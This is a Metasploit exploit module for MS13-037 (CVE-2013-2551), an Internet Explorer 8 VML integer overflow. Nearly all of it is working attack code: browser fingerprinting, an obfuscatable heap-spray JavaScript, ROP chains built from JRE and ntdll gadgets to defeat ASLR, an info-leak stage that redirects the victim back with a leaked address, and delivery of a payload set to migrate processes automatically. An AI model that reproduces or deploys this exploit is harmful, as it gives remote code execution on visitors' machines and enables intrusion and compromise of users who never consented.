##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  #include Msf::Exploit::Remote::BrowserAutopwn

  #autopwn_info({
  #  :ua_name    => HttpClients::IE,
  #  :ua_minver  => "8.0",
  #  :ua_maxver  => "8.0",
  #  :javascript => true,
  #  :os_name    => OperatingSystems::WINDOWS,
  #  :rank       => Rank
  #})


  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS13-037 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow",
      'Description'    => %q{
          This module exploits an integer overflow vulnerability on Internet Explorer.
        The vulnerability exists in the handling of the dashstyle.array length for vml
        shapes on the vgx.dll module. This module has been tested successfully on Windows 7
        SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target
        to use an info leak to disclose the ntdll.dll base address is provided. This target
        requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1
        installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Nicolas Joly', # Vulnerability discovery, PoC and analysis
          '4B5F5F4B', # PoC
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-2551' ],
          [ 'OSVDB', '91197' ],
          [ 'BID', '58570' ],
          [ 'MSB', 'MS13-037' ],
          [ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ],
          [ 'URL', 'http://binvul.com/viewthread.php?tid=311' ]
        ],
      'Payload'        =>
        {
          'Space'          => 948,
          'DisableNops'    => true,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'IE 8 on Windows 7 SP1 with JRE ROP', # default
            {
              'Rop' => :jre,
              'Offset' => '0x5f4'
            }
          ],
          # requires:
          # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
          # * ntdll.dll v6.1.7601.17725 (MS12-001)
          [ 'IE 8 on Windows 7 SP1 with ntdll.dll Info Leak',
            {
              'Rop' => :ntdll,
              'Offset' => '0x5f4'
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Mar 06 2013",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class)

  end

  def exploit
    @second_stage_url = rand_text_alpha(10)
    @leak_param = rand_text_alpha(5)
    super
  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

    ie_name = "IE #{ie}"

    case nt
    when '5.1'
      os_name = 'Windows XP SP3'
    when '6.0'
      os_name = 'Windows Vista'
    when '6.1'
      os_name = 'Windows 7'
    end

    targets.each do |t|
      if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
        print_status("Target selected as: #{t.name}")
        return t
      end
    end

    return nil
  end

  def ie_heap_spray(my_target, p)
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

    # Land the payload at 0x0c0c0c0c
    # For IE 8
    js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
  heap_obj.alloc(block);
}
    |

    js = heaplib(js, {:noobfu => true})

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate
    end

    return js
  end

  def get_ntdll_rop
    case @ntdll_version
    when "6.1.7601.17514"
      stack_pivot = [
        @ntdll_base+0x0001578a, # ret # from ntdll
        @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
        @ntdll_base+0x00015789, # xchg eax, esp # ret from ntdll
      ].pack("V*")
      ntdll_rop = [
        @ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
        0x0c0c0c40, # ret to shellcode
        0xffffffff, # ProcessHandle
        0x0c0c0c34, # ptr to BaseAddress
        0x0c0c0c38, # ptr to NumberOfBytesToProtect
        0x00000040, # NewAccessProtection
        0x0c0c0c3c, # ptr to OldAccessProtection
        0x0c0c0c40, # BaseAddress
        0x00000400, # NumberOfBytesToProtect
        0x41414141  # OldAccessProtection
      ].pack("V*")
      return stack_pivot + ntdll_rop
    when "6.1.7601.17725"
      stack_pivot = [
        @ntdll_base+0x0001579a, # ret # from ntdll
        @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
        @ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll
      ].pack("V*")
      ntdll_rop = [
        @ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
        0x0c0c0c40, # ret to shellcode
        0xffffffff, # ProcessHandle
        0x0c0c0c34, # ptr to BaseAddress
        0x0c0c0c38, # ptr to NumberOfBytesToProtect
        0x00000040, # NewAccessProtection
        0x0c0c0c3c, # ptr to OldAccessProtection
        0x0c0c0c40, # BaseAddress
        0x00000400, # NumberOfBytesToProtect
        0x41414141  # OldAccessProtection
      ].pack("V*")
      return stack_pivot + ntdll_rop
    else
      return ""
    end
  end

  def get_payload(t, cli)
    code = payload.encoded
    # No rop. Just return the payload.
    return code if t['Rop'].nil?

    # Both ROP chains generated by mona.py - See corelan.be
    case t['Rop']
    when :jre
      print_status("Using JRE ROP")
      stack_pivot = [
        0x7c348b06, # ret # from msvcr71
        0x7c341748, # pop ebx # ret # from msvcr71
        0x7c348b05  # xchg eax, esp # ret from msvcr71
      ].pack("V*")
      rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
    when :ntdll
      print_status("Using ntdll ROP")
      rop_payload = get_ntdll_rop + payload.encoded
    end

    return rop_payload
  end

  def load_exploit_html(my_target, cli)
    p  = get_payload(my_target, cli)
    js = ie_heap_spray(my_target, p)

    js_trigger = %Q|
var rect_array = new Array()
var a = new Array()

function createRects(){
  for(var i=0; i<0x1000; i++){
    rect_array[i]    = document.createElement("v:shape")
    rect_array[i].id = "rect" + i.toString()
    document.body.appendChild(rect_array[i])
  }
}

function exploit(){

  var vml1 = document.getElementById("vml1")

  for (var i=0; i<0x1000; i++){
    a[i] = document.getElementById("rect" + i.toString())._anchorRect;
    if (i == 0x800) {
      vml1.dashstyle = "1 2 3 4"
    }
  }

  vml1.dashstyle.array.length = 0 - 1;
  vml1.dashstyle.array.item(6) = 0x0c0c0c0c;

  for (var i=0; i<0x1000; i++)
  {
    delete a[i];
    CollectGarbage();
  }
  location.reload();

}
    |

    create_rects_func = "createRects"
    exploit_func = "exploit"

    if datastore['OBFUSCATE']
      js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
      js_trigger.obfuscate
      create_rects_func = js_trigger.sym("createRects")
      exploit_func = js_trigger.sym("exploit")
    end

    html = %Q|
<html>
<head>
<script>
#{js}
</script>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
#{js_trigger}
</script>
<body onload="#{create_rects_func}(); #{exploit_func}();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
    |

    return html
  end

  def html_info_leak

    js_trigger = %Q|
var rect_array = new Array()
var a = new Array()

function createRects(){
  for(var i=0; i<0x400; i++){
    rect_array[i]    = document.createElement("v:shape")
    rect_array[i].id = "rect" + i.toString()
    document.body.appendChild(rect_array[i])
  }
}

function exploit(){

  var vml1  = document.getElementById("vml1")

  for (var i=0; i<0x400; i++){
    a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
  }

  for (var i=0; i<0x400; i++){
    a[i].rotation;
    if (i == 0x300) {
      vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
    }
  }

  var length_orig = vml1.dashstyle.array.length;
  vml1.dashstyle.array.length = 0 - 1;

  for (var i=0; i<0x400; i++)
  {
    a[i].marginLeft = "a";
    marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
    if (marginLeftAddress > 0) {
      vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
      var leak = a[i].marginLeft;
      vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
      vml1.dashstyle.array.length = length_orig;
      document.location = "#{get_resource.chomp("/")}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 )
      return;
    }
  }

}
    |

    create_rects_func = "createRects"
    exploit_func = "exploit"

    if datastore['OBFUSCATE']
      js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
      js_trigger.obfuscate
      create_rects_func = js_trigger.sym("createRects")
      exploit_func = js_trigger.sym("exploit")
    end

    html = %Q|
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
#{js_trigger}
</script>
<body onload="#{create_rects_func}(); #{exploit_func}();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
    |

    return html

  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    uri   = request.uri
    print_status("Requesting: #{uri}")

    my_target = get_target(agent)
    # Avoid the attack if no suitable target found
    if my_target.nil?
      print_error("Browser not supported, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
      html = html_info_leak
      print_status("Sending HTML to info leak...")
      send_response(cli, html, {'Content-Type'=>'text/html'})
    else
      leak = begin
        request.uri_parts["QueryString"][@leak_param].to_i
      rescue
        0
      end

      if leak == 0
        html = load_exploit_html(my_target, cli)
        print_status("Sending HTML to trigger...")
        send_response(cli, html, {'Content-Type'=>'text/html'})
        return
      end

      vprint_status("ntdll leak: 0x#{leak.to_s(16)}")
      fingerprint = leak & 0x0000ffff

      case fingerprint
      when 0x70B0
        @ntdll_version = "6.1.7601.17514"
        @ntdll_base = leak - 0x470B0
      when 0x7090
        @ntdll_version = "6.1.7601.17725" # MS12-001
        @ntdll_base = leak - 0x47090
      else
        print_error("ntdll version not detected, sending 404: #{agent}")
        send_not_found(cli)
        return
      end

      html = load_exploit_html(my_target, cli)
      print_status("Sending HTML to trigger...")
      send_response(cli, html, {'Content-Type'=>'text/html'})

    end

  end

end